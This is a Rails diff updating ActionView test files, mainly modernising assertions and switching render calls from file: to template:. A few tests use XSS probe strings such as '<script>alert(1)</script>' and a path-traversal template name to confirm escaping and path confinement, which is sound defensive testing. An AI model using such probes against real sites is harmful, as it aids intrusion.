     template = @lookup_context.disable_cache do
-      assert !@lookup_context.cache
+      assert_not @lookup_context.cache
       @lookup_context.find("foo", %w(test), true)
     end
     assert @lookup_context.cache
@@ -208,56 +199,6 @@ def teardown
   end
 end
 
-class LookupContextWithFalseCaching < ActiveSupport::TestCase
-  def setup
-    @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
-    @lookup_context = ActionView::LookupContext.new(@resolver, {})
-  end
-
-  test "templates are always found in the resolver but timestamp is checked before being compiled" do
-    ActionView::Resolver.stub(:caching?, false) do
-      template = @lookup_context.find("foo", %w(test), true)
-      assert_equal "Foo", template.source
-
-      # Now we are going to change the template, but it won't change the returned template
-      # since the timestamp is the same.
-      @resolver.hash["test/_foo.erb"][0] = "Bar"
-      template = @lookup_context.find("foo", %w(test), true)
-      assert_equal "Foo", template.source
-
-      # Now update the timestamp.
-      @resolver.hash["test/_foo.erb"][1] = Time.now.utc
-      template = @lookup_context.find("foo", %w(test), true)
-      assert_equal "Bar", template.source
-    end
-  end
-
-  test "if no template was found in the second lookup, with no cache, raise error" do
-    ActionView::Resolver.stub(:caching?, false) do
-      template = @lookup_context.find("foo", %w(test), true)
-      assert_equal "Foo", template.source
-
-      @resolver.hash.clear
-      assert_raise ActionView::MissingTemplate do
-        @lookup_context.find("foo", %w(test), true)
-      end
-    end
-  end
-
-  test "if no template was cached in the first lookup, retrieval should work in the second call" do
-    ActionView::Resolver.stub(:caching?, false) do
-      @resolver.hash.clear
-      assert_raise ActionView::MissingTemplate do
-        @lookup_context.find("foo", %w(test), true)
-      end
-
-      @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
-      template = @lookup_context.find("foo", %w(test), true)
-      assert_equal "Foo", template.source
-    end
-  end
-end
-
 class TestMissingTemplate < ActiveSupport::TestCase
   def setup
     @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
@@ -267,21 +208,21 @@ def setup
     e = assert_raise ActionView::MissingTemplate do
       @lookup_context.find("foo", %w(parent child))
     end
-    assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+    assert_match %r{Missing template parent/foo, child/foo with .*\n\nSearched in:\n  \* "/Path/to/views"\n}, e.message
   end
 
   test "if no partial was found we get a helpful error message including the inheritance chain" do
     e = assert_raise ActionView::MissingTemplate do
       @lookup_context.find("foo", %w(parent child), true)
     end
-    assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+    assert_match %r{Missing partial parent/_foo, child/_foo with .*\n\nSearched in:\n  \* "/Path/to/views"\n}, e.message
   end
 
   test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
     e = assert_raise ActionView::MissingTemplate do
       details = { handlers: [], formats: [], variants: [], locale: [] }
-      @lookup_context.view_paths.find("foo", "parent", true, details)
+      @lookup_context.view_paths.find("foo", "parent", true, details, nil, [])
     end
-    assert_match %r{Missing partial parent/_foo with .* Searched in:\n  \* "/Path/to/views"\n}, e.message
+    assert_match %r{Missing partial parent/_foo with .*\n\nSearched in:\n  \* "/Path/to/views"\n}, e.message
   end
 end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
index 678120a9c9512..eda583fab51f3 100644
--- a/actionview/test/template/number_helper_test.rb
+++ b/actionview/test/template/number_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class NumberHelperTest < ActionView::TestCase
@@ -77,7 +79,7 @@ def test_number_to_human_escape_units
     assert_equal "1.23 &lt;b&gt;km3&lt;/b&gt;", number_to_human(1_234_567_000_000, units: volume)
     assert_equal "1.23 &lt;b&gt;Pl&lt;/b&gt;", number_to_human(1_234_567_000_000_000, units: volume)
 
-    #Including fractionals
+    # Including fractionals
     distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
                  ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
                  micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>" }
@@ -124,43 +126,43 @@ def test_number_to_human_with_custom_translation_scope
   end
 
   def test_number_helpers_outputs_are_html_safe
-    assert number_to_human(1).html_safe?
-    assert !number_to_human("<script></script>").html_safe?
-    assert number_to_human("asdf".html_safe).html_safe?
-    assert number_to_human("1".html_safe).html_safe?
-
-    assert number_to_human_size(1).html_safe?
-    assert number_to_human_size(1000000).html_safe?
-    assert !number_to_human_size("<script></script>").html_safe?
-    assert number_to_human_size("asdf".html_safe).html_safe?
-    assert number_to_human_size("1".html_safe).html_safe?
-
-    assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
-    assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
-    assert !number_with_precision("<script></script>").html_safe?
-    assert number_with_precision("asdf".html_safe).html_safe?
-    assert number_with_precision("1".html_safe).html_safe?
-
-    assert number_to_currency(1).html_safe?
-    assert !number_to_currency("<script></script>").html_safe?
-    assert number_to_currency("asdf".html_safe).html_safe?
-    assert number_to_currency("1".html_safe).html_safe?
-
-    assert number_to_percentage(1).html_safe?
-    assert !number_to_percentage("<script></script>").html_safe?
-    assert number_to_percentage("asdf".html_safe).html_safe?
-    assert number_to_percentage("1".html_safe).html_safe?
-
-    assert number_to_phone(1).html_safe?
+    assert_predicate number_to_human(1), :html_safe?
+    assert_not_predicate number_to_human("<script></script>"), :html_safe?
+    assert_predicate number_to_human("asdf".html_safe), :html_safe?
+    assert_predicate number_to_human("1".html_safe), :html_safe?
+
+    assert_predicate number_to_human_size(1), :html_safe?
+    assert_predicate number_to_human_size(1000000), :html_safe?
+    assert_not_predicate number_to_human_size("<script></script>"), :html_safe?
+    assert_predicate number_to_human_size("asdf".html_safe), :html_safe?
+    assert_predicate number_to_human_size("1".html_safe), :html_safe?
+
+    assert_predicate number_with_precision(1, strip_insignificant_zeros: false), :html_safe?
+    assert_predicate number_with_precision(1, strip_insignificant_zeros: true), :html_safe?
+    assert_not_predicate number_with_precision("<script></script>"), :html_safe?
+    assert_predicate number_with_precision("asdf".html_safe), :html_safe?
+    assert_predicate number_with_precision("1".html_safe), :html_safe?
+
+    assert_predicate number_to_currency(1), :html_safe?
+    assert_not_predicate number_to_currency("<script></script>"), :html_safe?
+    assert_predicate number_to_currency("asdf".html_safe), :html_safe?
+    assert_predicate number_to_currency("1".html_safe), :html_safe?
+
+    assert_predicate number_to_percentage(1), :html_safe?
+    assert_not_predicate number_to_percentage("<script></script>"), :html_safe?
+    assert_predicate number_to_percentage("asdf".html_safe), :html_safe?
+    assert_predicate number_to_percentage("1".html_safe), :html_safe?
+
+    assert_predicate number_to_phone(1), :html_safe?
     assert_equal "&lt;script&gt;&lt;/script&gt;", number_to_phone("<script></script>")
-    assert number_to_phone("<script></script>").html_safe?
-    assert number_to_phone("asdf".html_safe).html_safe?
-    assert number_to_phone("1".html_safe).html_safe?
-
-    assert number_with_delimiter(1).html_safe?
-    assert !number_with_delimiter("<script></script>").html_safe?
-    assert number_with_delimiter("asdf".html_safe).html_safe?
-    assert number_with_delimiter("1".html_safe).html_safe?
+    assert_predicate number_to_phone("<script></script>"), :html_safe?
+    assert_predicate number_to_phone("asdf".html_safe), :html_safe?
+    assert_predicate number_to_phone("1".html_safe), :html_safe?
+
+    assert_predicate number_with_delimiter(1), :html_safe?
+    assert_not_predicate number_with_delimiter("<script></script>"), :html_safe?
+    assert_predicate number_with_delimiter("asdf".html_safe), :html_safe?
+    assert_predicate number_with_delimiter("1".html_safe), :html_safe?
   end
 
   def test_number_helpers_should_raise_error_if_invalid_when_specified
@@ -199,4 +201,34 @@ def test_number_helpers_should_raise_error_if_invalid_when_specified
     end
     assert_equal "x", exception.number
   end
+
+  def test_number_helpers_should_not_raise_error_if_valid_when_specified
+    assert_nothing_raised do
+      number_to_human("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_to_human_size("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_with_precision("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_to_currency("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_to_percentage("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_with_delimiter("3.33", raise: true)
+    end
+
+    assert_nothing_raised do
+      number_to_phone("3.33", raise: true)
+    end
+  end
 end
diff --git a/actionview/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb
index 537b4393eed0d..06bdb667e1b82 100644
--- a/actionview/test/template/output_safety_helper_test.rb
+++ b/actionview/test/template/output_safety_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class OutputSafetyHelperTest < ActionView::TestCase
@@ -10,7 +12,7 @@ def setup
   test "raw returns the safe string" do
     result = raw(@string)
     assert_equal @string, result
-    assert result.html_safe?
+    assert_predicate result, :html_safe?
   end
 
   test "raw handles nil values correctly" do
@@ -34,28 +36,30 @@ def setup
   end
 
   test "safe_join should return the safe string separated by $, when second argument is not passed" do
-    default_delimeter = $,
+    default_delimiter = $,
 
     begin
       $, = nil
       joined = safe_join(["a", "b"])
       assert_equal "ab", joined
 
-      $, = "|"
+      silence_warnings do
+        $, = "|"
+      end
       joined = safe_join(["a", "b"])
       assert_equal "a|b", joined
     ensure
-      $, = default_delimeter
+      $, = default_delimiter
     end
   end
 
   test "to_sentence should escape non-html_safe values" do
     actual = to_sentence(%w(< > & ' "))
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
     assert_equal("&lt;, &gt;, &amp;, &#39;, and &quot;", actual)
 
     actual = to_sentence(%w(<script>))
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
     assert_equal("&lt;script&gt;", actual)
   end
 
@@ -65,7 +69,7 @@ def setup
     assert_equal("&amp;lt;script&amp;gt;", to_sentence(["&lt;script&gt;"]))
   end
 
-  test "to_sentence connector words are checked for html safety" do
+  test "to_sentence connector words are checked for HTML safety" do
     assert_equal "one & two, and three", to_sentence(["one", "two", "three"], words_connector: " & ".html_safe)
     assert_equal "one & two", to_sentence(["one", "two"], two_words_connector: " & ".html_safe)
     assert_equal "one, two &lt;script&gt;alert(1)&lt;/script&gt; three", to_sentence(["one", "two", "three"], last_word_connector: " <script>alert(1)</script> ")
@@ -78,19 +82,19 @@ def setup
     url = "https://example.com"
     expected = %(<a href="#{url}">#{url}</a> and <p>&lt;marquee&gt;shady stuff&lt;/marquee&gt;<br /></p>)
     actual = to_sentence([link_to(url, url), ptag])
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
     assert_equal(expected, actual)
   end
 
   test "to_sentence handles blank strings" do
     actual = to_sentence(["", "two", "three"])
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
     assert_equal ", two, and three", actual
   end
 
   test "to_sentence handles nil values" do
     actual = to_sentence([nil, "two", "three"])
-    assert actual.html_safe?
+    assert_predicate actual, :html_safe?
     assert_equal ", two, and three", actual
   end
 
@@ -106,7 +110,9 @@ def setup
 
   test "to_sentence is not affected by $," do
     separator_was = $,
-    $, = "|"
+    silence_warnings do
+      $, = "|"
+    end
     begin
       assert_equal "one and two", to_sentence(["one", "two"])
       assert_equal "one, two, and three", to_sentence(["one", "two", "three"])
diff --git a/actionview/test/template/partial_iteration_test.rb b/actionview/test/template/partial_iteration_test.rb
index 3ebf3b550ae30..64bd3317b0f02 100644
--- a/actionview/test/template/partial_iteration_test.rb
+++ b/actionview/test/template/partial_iteration_test.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
-require "action_view/renderer/partial_renderer"
+require "action_view/renderer/collection_renderer"
 
 class PartialIterationTest < ActiveSupport::TestCase
   def test_has_size_and_index
@@ -10,24 +12,24 @@ def test_has_size_and_index
 
   def test_first_is_true_when_current_is_at_the_first_index
     iteration = ActionView::PartialIteration.new 3
-    assert iteration.first?, "first when current is 0"
+    assert_predicate iteration, :first?, "first when current is 0"
   end
 
   def test_first_is_false_unless_current_is_at_the_first_index
     iteration = ActionView::PartialIteration.new 3
     iteration.iterate!
-    assert !iteration.first?, "not first when current is 1"
+    assert_not iteration.first?, "not first when current is 1"
   end
 
   def test_last_is_true_when_current_is_at_the_last_index
     iteration = ActionView::PartialIteration.new 3
     iteration.iterate!
     iteration.iterate!
-    assert iteration.last?, "last when current is 2"
+    assert_predicate iteration, :last?, "last when current is 2"
   end
 
   def test_last_is_false_unless_current_is_at_the_last_index
     iteration = ActionView::PartialIteration.new 3
-    assert !iteration.last?, "not last when current is 0"
+    assert_not iteration.last?, "not last when current is 0"
   end
 end
diff --git a/actionview/test/template/record_identifier_test.rb b/actionview/test/template/record_identifier_test.rb
index ce446715fd765..250db03d36e15 100644
--- a/actionview/test/template/record_identifier_test.rb
+++ b/actionview/test/template/record_identifier_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
 
@@ -11,6 +13,10 @@ def setup
     @plural = "comments"
   end
 
+  def test_dom_id_with_class
+    assert_equal "new_#{@singular}", dom_id(@klass)
+  end
+
   def test_dom_id_with_new_record
     assert_equal "new_#{@singular}", dom_id(@record)
   end
@@ -24,6 +30,11 @@ def test_dom_id_with_saved_record
     assert_equal "#{@singular}_1", dom_id(@record)
   end
 
+  def test_dom_id_with_composite_primary_key_record
+    record = Cpk::Book.new(id: [1, 123])
+    assert_equal("cpk_book_1_123", dom_id(record))
+  end
+
   def test_dom_id_with_prefix
     @record.save
     assert_equal "edit_#{@singular}_1", dom_id(@record, :edit)
@@ -45,13 +56,28 @@ def test_dom_id_as_singleton_method
   def test_dom_class_as_singleton_method
     assert_equal @singular, ActionView::RecordIdentifier.dom_class(@record)
   end
+
+  def test_dom_target_with_multiple_objects
+    @record.save
+    assert_equal "foo_bar_comment_comment_1_new_comment", dom_target(:foo, "bar", @klass, @record, @klass.new)
+  end
+
+  def test_dom_target_as_singleton_method
+    @record.save
+    assert_equal "#{@singular}_#{@record.id}", ActionView::RecordIdentifier.dom_target(@record)
+  end
 end
 
 class RecordIdentifierWithoutActiveModelTest < ActiveSupport::TestCase
   include ActionView::RecordIdentifier
 
   def setup
-    @record = Plane.new
+    @klass = Plane
+    @record = @klass.new
+  end
+
+  def test_dom_id_with_new_class
+    assert_equal "new_airplane", dom_id(@klass)
   end
 
   def test_dom_id_with_new_record
@@ -72,6 +98,12 @@ def test_dom_id_with_prefix
     assert_equal "edit_airplane_1", dom_id(@record, :edit)
   end
 
+  def test_dom_id_raises_useful_error_when_passed_nil
+    assert_raises ArgumentError do
+      ActionView::RecordIdentifier.dom_id(nil)
+    end
+  end
+
   def test_dom_class
     assert_equal "airplane", dom_class(@record)
   end
@@ -88,4 +120,14 @@ def test_dom_id_as_singleton_method
   def test_dom_class_as_singleton_method
     assert_equal "airplane", ActionView::RecordIdentifier.dom_class(@record)
   end
+
+  def test_dom_target_with_multiple_objects
+    @record.save
+    assert_equal "foo_bar_airplane_airplane_1_new_airplane", dom_target(:foo, "bar", @klass, @record, @klass.new)
+  end
+
+  def test_dom_target_as_singleton_method
+    @record.save
+    assert_equal "airplane_1", ActionView::RecordIdentifier.dom_target(@record)
+  end
 end
diff --git a/actionview/test/template/record_tag_helper_test.rb b/actionview/test/template/record_tag_helper_test.rb
deleted file mode 100644
index 3685230558db1..0000000000000
--- a/actionview/test/template/record_tag_helper_test.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require "abstract_unit"
-
-class RecordTagPost
-  extend ActiveModel::Naming
-
-  attr_accessor :id, :body
-
-  def initialize
-    @id   = 45
-    @body = "What a wonderful world!"
-
-    yield self if block_given?
-  end
-end
-
-class RecordTagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::RecordTagHelper
-
-  def setup
-    super
-    @post = RecordTagPost.new
-  end
-
-  def test_content_tag_for
-    assert_raises(NoMethodError) { content_tag_for(:li, @post) }
-  end
-
-  def test_div_for
-    assert_raises(NoMethodError) { div_for(@post, class: "special") }
-  end
-end
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
index 412948719c141..0c73af1ccaee6 100644
--- a/actionview/test/template/render_test.rb
+++ b/actionview/test/template/render_test.rb
@@ -1,5 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_models"
+require "test_renderable"
+require "active_model/validations"
 
 class TestController < ActionController::Base
 end
@@ -7,15 +11,24 @@ class TestController < ActionController::Base
 module RenderTestCases
   def setup_view(paths)
     @assigns = { secret: "in the sauce" }
-    @view = Class.new(ActionView::Base) do
-      def view_cache_dependencies; end
 
-      def fragment_cache_key(key)
-        ActiveSupport::Cache.expand_cache_key(key, :views)
+    @view = Class.new(ActionView::Base.with_empty_template_cache) do
+      def view_cache_dependencies; []; end
+
+      def combined_fragment_cache_key(key)
+        [ :views, key ]
       end
-    end.new(paths, @assigns)
+    end.with_view_paths(paths, @assigns)
+
+    controller = TestController.new
+    controller.perform_caching = true
+    controller.cache_store = :memory_store
+    @view.controller = controller
 
-    @controller_view = TestController.new.view_context
+    @controller_view = controller.view_context_class.with_empty_template_cache.new(
+      controller.lookup_context,
+      controller.view_assigns,
+      controller)
 
     # Reload and register danish language for testing
     I18n.backend.store_translations "da", {}
@@ -25,30 +38,68 @@ def fragment_cache_key(key)
     assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
   end
 
+  def teardown
+    I18n.reload!
+    ActionController::Base.view_paths.map(&:clear_cache)
+  end
+
+  def test_implicit_format_comes_from_parent_template
+    rendered_templates = JSON.parse(@controller_view.render(template: "test/mixing_formats"))
+    assert_equal({ "format" => "HTML",
+                   "children" => ["XML", "HTML"] }, rendered_templates)
+  end
+
+  def test_implicit_format_comes_from_parent_template_cascading
+    rendered_templates = JSON.parse(@controller_view.render(template: "test/mixing_formats_deep"))
+    assert_equal({ "format" => "HTML",
+                   "children" => [
+                     { "format" => "XML", "children" => ["XML"] },
+                     { "format" => "HTML", "children" => ["HTML"] },
+    ] }, rendered_templates)
+  end
+
+  def test_explicit_js_format_adds_html_fallback
+    rendered_templates = @controller_view.render(template: "test/js_html_fallback", formats: :js)
+    assert_equal(%Q(document.write("<b>Hello from an HTML partial!<\\/b>")\n), rendered_templates)
+  end
+
   def test_render_without_options
     e = assert_raises(ArgumentError) { @view.render() }
-    assert_match(/You invoked render but did not give any of (.+) option./, e.message)
+    assert_match(/You invoked render but did not give any of (.+) option\./, e.message)
+  end
+
+  def test_render_template
+    assert_equal "Hello world!", @view.render(template: "test/hello_world")
   end
 
   def test_render_file
-    assert_equal "Hello world!", @view.render(file: "test/hello_world")
+    template_path = File.expand_path("../fixtures/test/hello_world.erb", __dir__)
+    assert_equal "Hello world!", @view.render(file: template_path)
   end
 
-  # Test if :formats, :locale etc. options are passed correctly to the resolvers.
-  def test_render_file_with_format
-    assert_match "<h1>No Comment</h1>", @view.render(file: "comments/empty", formats: [:html])
-    assert_match "<error>No Comment</error>", @view.render(file: "comments/empty", formats: [:xml])
-    assert_match "<error>No Comment</error>", @view.render(file: "comments/empty", formats: :xml)
+  def test_render_file_with_full_path_no_extension
+    template_path = File.expand_path("../fixtures/test/hello_world", __dir__)
+    e = assert_raise(ArgumentError) { @view.render(file: template_path) }
+    assert_match(/File (.+) does not exist/, e.message)
   end
 
+  def test_render_file_with_invalid_full_path
+    template_path = File.expand_path("../fixtures/test/hello_world_invalid.erb", __dir__)
+    e = assert_raise(ArgumentError) { @view.render(file: template_path) }
+    assert_match(/File (.+) does not exist/, e.message)
+  end
+
+  def test_render_file_with_relative_path
+    template_path = "fixtures/test/hello_world.erb"
+    e = assert_raise(ArgumentError) { @view.render(file: template_path) }
+    assert_match(%r{`render file:` should be given the absolute path to a file. (.+) was given instead}, e.message)
+  end
+
+  # Test if :formats, :locale etc. options are passed correctly to the resolvers.
   def test_render_template_with_format
     assert_match "<h1>No Comment</h1>", @view.render(template: "comments/empty", formats: [:html])
     assert_match "<error>No Comment</error>", @view.render(template: "comments/empty", formats: [:xml])
-  end
-
-  def test_rendered_format_without_format
-    @view.render(inline: "test")
-    assert_equal :html, @view.lookup_context.rendered_format
+    assert_match "<error>No Comment</error>", @view.render(template: "comments/empty", formats: :xml)
   end
 
   def test_render_partial_implicitly_use_format_of_the_rendered_template
@@ -63,7 +114,7 @@ def test_render_partial_implicitly_use_format_of_the_rendered_partial
 
   def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
     @view.lookup_context.formats = [:html]
-    assert_equal "\nHTML Template, but JSON partial", @view.render(template: "test/change_priority")
+    assert_equal "\nHTML Template, but HTML partial", @view.render(template: "test/change_priority")
   end
 
   def test_render_template_with_a_missing_partial_of_another_format
@@ -71,25 +122,22 @@ def test_render_template_with_a_missing_partial_of_another_format
     e = assert_raise ActionView::Template::Error do
       @view.render(template: "with_format", formats: [:json])
     end
-    assert_includes(e.message, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby]}.")
-  end
-
-  def test_render_file_with_locale
-    assert_equal "<h1>Kein Kommentar</h1>", @view.render(file: "comments/empty", locale: [:de])
-    assert_equal "<h1>Kein Kommentar</h1>", @view.render(file: "comments/empty", locale: :de)
+    details = { locale: [:en], formats: [:json], variants: [], handlers: [:raw, :erb, :html, :builder, :ruby] }
+    assert_includes(e.message, "Missing partial /_missing with #{details}.")
   end
 
   def test_render_template_with_locale
     assert_equal "<h1>Kein Kommentar</h1>", @view.render(template: "comments/empty", locale: [:de])
+    assert_equal "<h1>Kein Kommentar</h1>", @view.render(template: "comments/empty", locale: :de)
   end
 
-  def test_render_file_with_handlers
-    assert_equal "<h1>No Comment</h1>\n", @view.render(file: "comments/empty", handlers: [:builder])
-    assert_equal "<h1>No Comment</h1>\n", @view.render(file: "comments/empty", handlers: :builder)
+  def test_render_template_with_variants
+    assert_equal "<h1>No Comment</h1>\n", @view.render(template: "comments/empty", variants: :grid)
   end
 
   def test_render_template_with_handlers
     assert_equal "<h1>No Comment</h1>\n", @view.render(template: "comments/empty", handlers: [:builder])
+    assert_equal "<h1>No Comment</h1>\n", @view.render(template: "comments/empty", handlers: :builder)
   end
 
   def test_render_raw_template_with_handlers
@@ -102,9 +150,9 @@ def test_render_raw_template_with_quotes
 
   def test_render_raw_is_html_safe_and_does_not_escape_output
     buffer = ActiveSupport::SafeBuffer.new
-    buffer << @view.render(file: "plain_text")
+    buffer << @view.render(template: "plain_text")
     assert_equal true, buffer.html_safe?
-    assert_equal buffer, "<%= hello_world %>\n"
+    assert_equal "<%= hello_world %>\n", buffer
   end
 
   def test_render_ruby_template_with_handlers
@@ -115,40 +163,39 @@ def test_render_ruby_template_inline
     assert_equal "4", @view.render(inline: "(2**2).to_s", type: :ruby)
   end
 
-  def test_render_file_with_localization_on_context_level
+  def test_render_template_via_symbol_lookup
+    assert_equal "Hello from Ruby code", @view.render(template: :ruby_template)
+  end
+
+  def test_render_template_with_localization_on_context_level
     old_locale, @view.locale = @view.locale, :da
-    assert_equal "Hey verden", @view.render(file: "test/hello_world")
+    assert_equal "Hey verden", @view.render(template: "test/hello_world")
   ensure
     @view.locale = old_locale
   end
 
-  def test_render_file_with_dashed_locale
+  def test_render_template_with_dashed_locale
     old_locale, @view.locale = @view.locale, :"pt-BR"
-    assert_equal "Ola mundo", @view.render(file: "test/hello_world")
+    assert_equal "Ola mundo", @view.render(template: "test/hello_world")
   ensure
     @view.locale = old_locale
   end
 
-  def test_render_file_at_top_level
-    assert_equal "Elastica", @view.render(file: "/shared")
+  def test_render_template_at_top_level
+    assert_equal "Elastica", @view.render(template: "/shared")
   end
 
-  def test_render_file_with_full_path
-    template_path = File.join(File.dirname(__FILE__), "../fixtures/test/hello_world")
-    assert_equal "Hello world!", @view.render(file: template_path)
-  end
-
-  def test_render_file_with_instance_variables
-    assert_equal "The secret is in the sauce\n", @view.render(file: "test/render_file_with_ivar")
+  def test_render_template_with_instance_variable
+    assert_equal "The secret is in the sauce\n", @view.render(template: "test/render_template_with_ivar")
   end
 
-  def test_render_file_with_locals
+  def test_render_template_with_locals
     locals = { secret: "in the sauce" }
-    assert_equal "The secret is in the sauce\n", @view.render(file: "test/render_file_with_locals", locals: locals)
+    assert_equal "The secret is in the sauce\n", @view.render(template: "test/render_template_with_locals", locals: locals)
   end
 
-  def test_render_file_not_using_full_path_with_dot_in_path
-    assert_equal "The secret is in the sauce\n", @view.render(file: "test/dot.directory/render_file_with_ivar")
+  def test_render_template_with_dot_in_path
+    assert_equal "The secret is in the sauce\n", @view.render(template: "test/dot.directory/render_template_with_ivar")
   end
 
   def test_render_partial_from_default
@@ -156,12 +203,57 @@ def test_render_partial_from_default
   end
 
   def test_render_outside_path
-    assert File.exist?(File.join(File.dirname(__FILE__), "../../test/abstract_unit.rb"))
+    assert File.exist?(File.expand_path("../../test/abstract_unit.rb", __dir__))
     assert_raises ActionView::MissingTemplate do
       @view.render(template: "../\\../test/abstract_unit.rb")
     end
   end
 
+  def test_render_template_with_syntax_error
+    e = assert_raises(ActionView::Template::Error) { silence_warnings { @view.render(template: "test/syntax_error") } }
+    assert_match %r!syntax!, e.message
+    assert_equal "1:    <%= foo(", e.annotated_source_code[0].strip
+  end
+
+  def test_render_runtime_error
+    ex = assert_raises(ActionView::Template::Error) {
+      @view.render(template: "test/runtime_error")
+    }
+    erb_btl = ex.backtrace_locations.first
+
+    # Get the spot information from ErrorHighlight
+    translating_frame = ActionDispatch::ExceptionWrapper::SourceMapLocation.new(erb_btl, ex.template)
+    translated_spot = translating_frame.spot(ex.cause)
+
+    assert_equal 6, translated_spot[:first_column]
+  end
+
+  def test_render_location_conditional_append
+    ex = assert_raises(ActionView::Template::Error) {
+      @view.render(template: "test/unparseable_runtime_error")
+    }
+    erb_btl = ex.backtrace_locations.first
+
+    # Get the spot information from ErrorHighlight
+    translating_frame = ActionDispatch::ExceptionWrapper::SourceMapLocation.new(erb_btl, ex.template)
+    translated_spot = translating_frame.spot(ex.cause)
+
+    assert_equal 8, translated_spot[:first_column]
+  end
+
+  def test_render_location_conditional_append_2
+    ex = assert_raises(ActionView::Template::Error) {
+      @view.render(template: "test/unparseable_runtime_error_2")
+    }
+    erb_btl = ex.backtrace_locations.first
+
+    # Get the spot information from ErrorHighlight
+    translating_frame = ActionDispatch::ExceptionWrapper::SourceMapLocation.new(erb_btl, ex.template)
+    translated_spot = translating_frame.spot(ex.cause)
+
+    assert_instance_of Integer, translated_spot[:first_column]
+  end
+
   def test_render_partial
     assert_equal "only partial", @view.render(partial: "test/partial_only")
   end
@@ -170,6 +262,10 @@ def test_render_partial_with_format
     assert_equal "partial html", @view.render(partial: "test/partial")
   end
 
+  def test_render_partial_with_variants
+    assert_equal "<h1>Partial with variants</h1>\n", @view.render(partial: "test/partial_with_variants", variants: :grid)
+  end
+
   def test_render_partial_with_selected_format
     assert_equal "partial html", @view.render(partial: "test/partial", formats: :html)
     assert_equal "partial js", @view.render(partial: "test/partial", formats: [:js])
@@ -202,8 +298,32 @@ def test_render_partial_with_missing_filename
   end
 
   def test_render_partial_with_incompatible_object
-    e = assert_raises(ArgumentError) { @view.render(partial: nil) }
-    assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+    assert_raises ArgumentError, match: "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement #to_partial_path." do
+      @view.render(partial: nil)
+    end
+  end
+
+  def test_render_renderable_with_nil
+    assert_raises ArgumentError, match: "'#{nil.inspect}' is not a renderable object. It must implement #render_in." do
+      @view.render renderable: nil
+    end
+  end
+
+  def test_render_renderable_with_incompatible_object
+    object = Object.new
+
+    assert_raises ArgumentError, match: "'#{object.inspect}' is not a renderable object. It must implement #render_in." do
+      @view.render renderable: object
+    end
+  end
+
+  def test_render_renderable_does_not_mask_nomethoderror_from_within_render_in
+    renderable = Object.new
+    renderable.define_singleton_method(:render_in) { |*| nil.render_in }
+
+    assert_raises NoMethodError, match: /undefined method [`']render_in' for nil/ do
+      @view.render renderable: renderable
+    end
   end
 
   def test_render_partial_starting_with_a_capital
@@ -219,14 +339,14 @@ def test_render_partial_with_unicode_text
   end
 
   def test_render_partial_with_invalid_option_as
-    e = assert_raises(ArgumentError) { @view.render(partial: "test/partial_only", as: "a-in") }
+    e = assert_raises(ArgumentError) { @view.render(partial: "test/partial_only", as: "a-in", object: nil) }
     assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " \
       "make sure it starts with lowercase letter, " \
       "and is followed by any combination of letters, numbers and underscores.", e.message
   end
 
   def test_render_partial_with_hyphen_and_invalid_option_as
-    e = assert_raises(ArgumentError) { @view.render(partial: "test/a-in", as: "a-in") }
+    e = assert_raises(ArgumentError) { @view.render(partial: "test/a-in", as: "a-in", object: nil) }
     assert_equal "The value (a-in) of the option `as` is not a valid Ruby identifier; " \
       "make sure it starts with lowercase letter, " \
       "and is followed by any combination of letters, numbers and underscores.", e.message
@@ -237,42 +357,56 @@ def test_render_partial_with_errors
     assert_match %r!method.*doesnt_exist!, e.message
     assert_equal "", e.sub_template_message
     assert_equal "1", e.line_number
-    assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code[0].strip
+    assert_equal "1: <%= doesnt_exist %>", e.annotated_source_code[0].strip
     assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
   end
 
   def test_render_error_indentation
     e = assert_raises(ActionView::Template::Error) { @view.render(partial: "test/raise_indentation") }
-    error_lines = e.annoted_source_code
+    error_lines = e.annotated_source_code
     assert_match %r!error\shere!, e.message
     assert_equal "11", e.line_number
